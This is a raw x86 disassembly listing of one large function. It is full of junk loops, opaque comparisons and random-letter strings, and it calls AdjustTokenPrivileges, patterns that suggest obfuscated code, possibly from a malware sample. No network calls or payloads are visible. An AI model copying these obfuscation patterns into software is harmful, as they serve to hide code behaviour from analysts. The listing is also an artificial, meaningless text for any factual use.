mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x2c], 0x71f5
jge 0x1001e585
push str.lvrrgy_adxgpe_stog_ukxnts_zmhsqy_qxkhbfi_tjtd_tqnxqqrh
call fcn.10046d04
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x1001e5b5
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1001e5b5
push 0x59c2
push ebx
push 0x2246
push 0x6c67
push 1
mov edx, 0x35da
xor cl, cl
call fcn.1001a7a2
add esp, 0x14
xor eax, eax
mov dword [ebp - 0x3e8], 7
mov word [ebp - 0x3fc], ax
lea ecx, [ebp - 0x3fc]
lea eax, [ebp - 0xb4]
mov dword [ebp - 0x3ec], ebx
push eax
call fcn.1001fe5c
cmp dword [ebp - 0x3e8], 8
lea eax, [ebp - 0x3fc]
push ebx
cmovae eax, dword [ebp - 0x3fc]
lea ecx, [ebp - 0x3fc]
push 1
movzx eax, word [eax]
mov dword [ebp - 0x1d0], eax
call fcn.100021c8
mov dword [ebp - 0x2c], 0x7e2f
cmp dword [ebp - 0x2c], 0x7f81
jle 0x1001e656
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov eax, esi
mov ecx, 0x1007ad38
cdq
idiv ebx
xor edx, edi
mov eax, edx
cdq
push edx
push eax
call fcn.10001b82
inc ebx
cmp ebx, 0x122b
jl 0x1001e622
inc esi
push 0
pop ebx
cmp esi, 0x9db
jl 0x1001e61f
inc edi
cmp edi, 0x767
jl 0x1001e61d
mov dword [ebp - 0x20], 0xac64a684
mov dword [ebp - 0x20], ebx
jmp 0x1001e6a8
push 2
lea ecx, [ebp - 0x354]
call fcn.10001d0c
mov dword [ebp - 0x18], ebx
jmp 0x1001e683
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x354]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001e674
mov eax, dword [ebp - 0x354]
lea ecx, [ebp - 0x354]
or dword [ebp - 4], 0xffffffff
mov dword [eax + 4], 0xffffffef
call fcn.10001d69
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff3
jle 0x1001e662
push ecx
push 0x49cf
mov edx, 0x710
mov cl, 1
call fcn.1001a745
pop ecx
mov dword [ebp - 4], 0x33
cmp dword [ebp - 0x2c], 0x7bb2
pop ecx
jge 0x1001e6ff
mov edx, str.eua_qchstf_pwet_cyaf_pvny_qda_pyvxjdwo_sayq_adzrfrcbc_utprqgu_kofq_bzjrvcmgd
mov ecx, 0x1007ad38
call fcn.10003a0a
jmp 0x1001e6ff
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
push 2
inc ecx
mov dword [ebp - 0xb4], ebx
pop esi
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x34], 0x49a2f381
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], 0xdf29855e
mov dword [ebp - 0x2c], 0x1e60e779
mov dword [ebp - 0x18], ebx
jmp 0x1001e744
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2c4], 0x998ab545
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001e733
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c4], eax
test eax, eax
je 0x1001e762
cmp dword [ebp - 0x20], ebx
jne 0x1001e764
mov ecx, ebx
mov eax, 0x8a9017ca
cmp eax, ecx
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 8
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
cmp edx, eax
setle cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, 0x3ca955a
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
sub eax, 9
je 0x1001e7ae
cmp dword [ebp - 0x2c4], ebx
je 0x1001e7ae
xor ecx, ecx
inc ecx
mov eax, ecx
jmp 0x1001e7b3
xor ecx, ecx
mov eax, ebx
inc ecx
neg eax
mov dword [ebp - 0x2c], eax
dec esi
jne 0x1001e70f
push dword [ebp - 0x208]
movdqa xmm0, xmmword [0x1006d7b0]
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x520]
mov dword [ebp - 0x1c0], ebx
push eax
push ebx
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1bc], ebx
movdqu xmmword [ebp - 0x520], xmm0
mov dword [ebp - 0x1b8], ebx
call fcn.10005101
mov eax, dword [ebp - 0x1c0]
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x40], 1
or dword [ebp - 4], 0xffffffff
mov dword [eax + 4], ebx
call fcn.10001d69
mov ecx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x78]
shr ecx, 1
mov dword [ebp - 0x40], ecx
inc eax
cmp eax, ecx
jae 0x1001f557
xor edx, edx
inc edx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x3c], 0xd26ec17e
mov dword [ebp - 0x20], 0xaeb9d376
mov dword [ebp - 0x30], 0x19116590
mov dword [ebp - 0x2c], 0x56627f1a
mov dword [ebp - 0x34], 0xffff
mov dword [ebp - 0x18], ebx
jmp 0x1001e872
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc0], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001e865
mov ecx, ebx
cmp dword [ebp - 0x44], ebx
je 0x1001e881
mov ecx, edx
mov eax, dword [ebp - 0x44]
imul eax, ecx
test eax, eax
je 0x1001e898
mov eax, dword [ebp - 0x44]
mov esi, edx
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x44], eax
jne 0x1001e89a
mov esi, ebx
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp eax, esi
setge cl
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], ebx
je 0x1001e959
push 3
lea ecx, [ebp - 0x2dc]
call fcn.10001d0c
push 0x7ec3
push ecx
push 1
mov dword [ebp - 4], 0x36
lea edx, [ebp - 0x2dc]
mov dword [ebp - 0x264], 0xfffffff9
lea ecx, [ebp - 0x42c]
push 0x76e1
call fcn.1001ae33
add esp, 0x10
mov dword [ebp - 0x3c], 2
cmp dword [ebp - 0x3c], ebx
jl 0x1001e94e
xor ebx, ebx
inc ebx
lea eax, [ebp - 0x44]
mov edx, 0x3fb9
push eax
lea eax, [ebp - 0x3c]
mov ecx, 0x3c8c
push eax
push ebx
push ebx
push 0x70cc
push 0xa3d
lea eax, [ebp - 0x2dc]
push eax
push 0x6019
push 0x25ec
push 0x13ae
push 0x700d
lea eax, [ebp - 0x264]
push ebx
push eax
call fcn.10017d28
add esp, 0x34
dec dword [ebp - 0x3c]
jns 0x1001e8fe
xor ebx, ebx
lea ecx, [ebp - 0x2dc]
jmp 0x1001eb34
push edx
lea ecx, [ebp - 0x14c]
call fcn.10001d0c
push 0x6d9f
xor eax, eax
mov dword [ebp - 4], 0x37
inc eax
mov dword [ebp - 0x18], 0x6de1f29a
push eax
push 0x3fb5
lea ecx, [ebp - 0x210]
mov edx, 0x228e
push ecx
lea ecx, [ebp - 0x14c]
push ecx
push 0x375c
push eax
push 0x370c
push 0x1fd2
push 0x46bb
push 0x2399
push eax
push 0x26b1
push 0x1f17
mov ecx, 0x4175
call fcn.1001aa55
xor edx, edx
mov dword [ebp - 0x44], ebx
inc edx
add esp, 0x38
cmp dword [ebp - 0x44], edx
jg 0x1001e9ef
xor ebx, ebx
inc ebx
push ecx
mov edx, 0x3f0f
mov cl, bl
call fcn.1001ae7e
inc dword [ebp - 0x44]
pop ecx
cmp dword [ebp - 0x44], ebx
jle 0x1001e9d4
xor edx, edx
xor ebx, ebx
inc edx
mov dword [ebp - 0x3c], ebx
jmp 0x1001eb25
mov eax, dword [ebp - 0x14c]
cmp dword [eax], ebx
jne 0x1001ead1
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0xc0]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc0]
cmp eax, edx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
setg cl
imul edx, ecx
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x14c]
setne cl
xor edx, edx
cmp ecx, 0xf554
setle dl
xor ecx, ecx
cmp dword [eax], edx
setg cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x44], ebx
je 0x1001ea83
cmp dword [ebp - 0x20], ebx
je 0x1001ea83
xor edx, edx
inc edx
jmp 0x1001ea85
mov edx, ebx
mov eax, dword [ebp - 0x14c]
xor ecx, ecx
push 0
cmp edx, dword [eax]
setle cl
add ecx, dword [eax]
mov eax, dword [ebp - 0x3c]
sub ecx, dword [ebp + eax*4 - 0xc0]
pop eax
setns al
xor ecx, ecx
test eax, eax
setg cl
xor esi, esi
mov dword [ebp - 0x2c], ecx
inc esi
mov eax, dword [ebp - 0x2c]
cmp esi, eax
mov eax, dword [ebp - 0xc0]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14c]
setle dl
mov dword [eax], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
mov esi, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x18]
imul esi, edx
neg esi
cmp esi, eax
setg cl
xor eax, eax
cmp ecx, 0x2423
setl al
xor edx, edx
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x3c]
inc edx
cmp dword [ebp - 0x3c], edx
jle 0x1001e9f7
lea ecx, [ebp - 0x14c]
or dword [ebp - 4], 0xffffffff
call fcn.10001d69
mov dword [ebp - 0x38], 0x43da
cmp dword [ebp - 0x38], 0x4792
jle 0x1001eb97
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x2c], 0x3181
mov eax, edi
lea ecx, [ebp - 0x5f0]
cdq
push edx
push eax
call fcn.10001a75
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001eb72
mov eax, dword [eax]
push eax
call fcn.10046d04
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5f0]
call fcn.1000205c
add edi, esi
dec dword [ebp - 0x2c]
jne 0x1001eb58
inc esi
cmp esi, 0x160
jl 0x1001eb4f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x78]
lea ecx, [eax + ecx*2]
call fcn.10017260
cmp dword [ebp - 0x38], 0x4391
mov dword [ebp - 0xe8], eax
jge 0x1001ebbf
push str.cpqnig_gbj_qpqqxubwd_guzjpxagr_lzybdly_ojoormex_thrkkbwxa_twqh_otok_xyu
call fcn.10046d04
pop ecx
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x500]
push dword [ebp - 0x210]
movdqa xmm0, xmmword [0x1006d800]
lea ecx, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x510]
mov dword [ebp - 0x1fc], ebx
push eax
mov dword [ebp - 0x1ec], 0xe55459ee
mov dword [ebp - 0x22c], 0x2835357f
mov dword [ebp - 0x1f4], 8
push ebx
movdqu xmmword [ebp - 0x510], xmm0
mov dword [ebp - 0x2bc], ebx
mov dword [ebp - 0x2b8], ebx
mov dword [ebp - 0x2b4], ebx
call fcn.10005101
mov dword [ebp - 4], 0x3a
lea ecx, [ebp - 0x36c]
mov dword [ebp - 0x34], 0x246
mov dword [ebp - 0x180], 0xffffffff
push 1
call fcn.10001d0c
push ecx
push 0x8f2
lea eax, [ebp - 0x430]
mov byte [ebp - 4], 0x3b
push eax
push 0x1b34
push ecx
push 0x2d73
push 0x7a18
push 1
push 0x52e0
push ecx
lea eax, [ebp - 0x36c]
mov edx, 0x7c48
push eax
push 0x6c75
mov ecx, 0x1c0a
call fcn.1001a11c
add esp, 0x30
xor eax, eax
inc eax
xor dl, dl
push eax
push ecx
lea ecx, [ebp - 0x36c]
push ecx
push eax
lea eax, [ebp - 0x1ec]
push eax
push 0x4fe7
lea eax, [ebp - 0x22c]
push eax
push 0x3ad3
lea eax, [ebp - 0x1f4]
push eax
lea eax, [ebp - 0x180]
push eax
lea ecx, [ebp - 0x1fc]
call fcn.1001a210
add esp, 0x28
lea ecx, [ebp - 0x36c]
call fcn.10001d69
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2bc]
call fcn.10001d69
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x78]
add eax, 4
lea ecx, [eax + ecx*2]
call fcn.10017260
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
mov dword [ebp - 0x38], eax
je 0x1001ed1e
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov dword [ebp - 0x4c], ebx
cmp dword [ebp - 0x4c], 0xf
jne 0x1001ef53
mov dword [ebp - 0x50], 0x2a2b3b7b
mov dword [ebp - 0x25c], 0x592e7baa
cmp dword [ebp - 0x4c], ebx
je 0x1001eebc
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x50], ebx
jne 0x1001ed5c
cmp dword [ebp - 0x4c], ebx
je 0x1001eebc
mov dword [ebp - 0x2c], 0xfd9d
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], ebx
je 0x1001ee2a
cmp dword [ebp - 0x50], 0xb
jge 0x1001ef3c
cmp dword [ebp - 0x50], 0xfffffff5
je 0x1001ef3c
mov dword [ebp - 0x4a0], 0xc0105807
lea ecx, [ebp - 0x384]
push 2
call fcn.10001d0c
mov dword [ebp - 4], 0x3e
mov dword [ebp - 0x204], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1001eef8
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x384]
mov dword [eax + ecx*4], 0x199e1f95
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001eee5
cmp dword [ebp - 0x4c], ebx
jne 0x1001ef44
cmp dword [ebp - 0xe8], 0xffffffff
mov esi, dword [ebp - 0x38]
jne 0x1001ef67
test esi, esi
je 0x1001f557
mov dword [ebp - 0x1c], 0x9ff60657
lea ecx, [ebp - 0x39c]
push 1
call fcn.10001d0c
mov dword [ebp - 4], 0x3f
xor edx, edx
mov dword [ebp - 0x34], 8
inc edx
mov dword [ebp - 0x18], ebx
jmp 0x1001efa0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x39c]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001ef91
cmp dword [ebp - 0x1c], ebx
je 0x1001f050
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x38], 0x69d7
cmp dword [ebp - 0x38], 0x6b9d
jle 0x1001f5b5
push ebx
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x40], esi
mov ebx, 0x21df
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x1007ad38
cdq
push edx
push eax
call fcn.10001b82
dec esi
dec ebx
jne 0x1001f586
mov esi, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x7a9
jl 0x1001f57e
inc edi
cmp edi, 0x6b29
jl 0x1001f579
mov dword [ebp - 0x18], ebx
jmp 0x1001f5c7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3e4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001f5ba
mov dword [ebp - 4], 0x46
cmp dword [ebp - 0x38], 0x68b1
jge 0x1001f60a
mov edx, str.upoo_yboxdjk_dzx_iqzqy_vknf_htbhvoh_fzyn_pbaawnh_uukbtwe_jqhza_ksxlxda_ndqv_bmpmi_yxtz
mov ecx, 0x1007ad38
call fcn.10003a0a
jmp 0x1001f60a
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
inc ecx
mov dword [ebp - 0x20], ebx
jmp 0x1001f703
mov dword [ebp - 0x1c], 0x29a3df60
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], 0xd
cmp dword [ebp - 0x1c], 0x1c
je 0x1001f700
mov dword [ebp - 0x30], 0x30377367
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setl dl
neg eax
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xffffffff
mov dword [ebp - 0x3dc], ecx
setle al
xor ecx, ecx
cmp eax, 0xf92e
setle cl
xor eax, eax
cmp ecx, 0x333ee676
setl al
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0xfffffffc
jmp 0x1001f6ea
mov dword [ebp - 0x30], ebx
jmp 0x1001f6e1
mov eax, dword [ebp - 0x30]
mov edx, 0x7fef
mov ecx, dword [ebp + eax*4 - 0x3e4]
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x3e4], ecx
lea eax, [ebp - 0x72]
push eax
push 0x5843
push ecx
mov byte [ebp - 0x72], bl
push 1
call fcn.1001c0c8
add esp, 0x10
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jle 0x1001f6ae
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffed
jle 0x1001f6a9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1c
push 1
pop ecx
jne 0x1001f634
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jne 0x1001f619
mov ecx, dword [ebp - 0xc]
mov eax, 0x1015810c
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret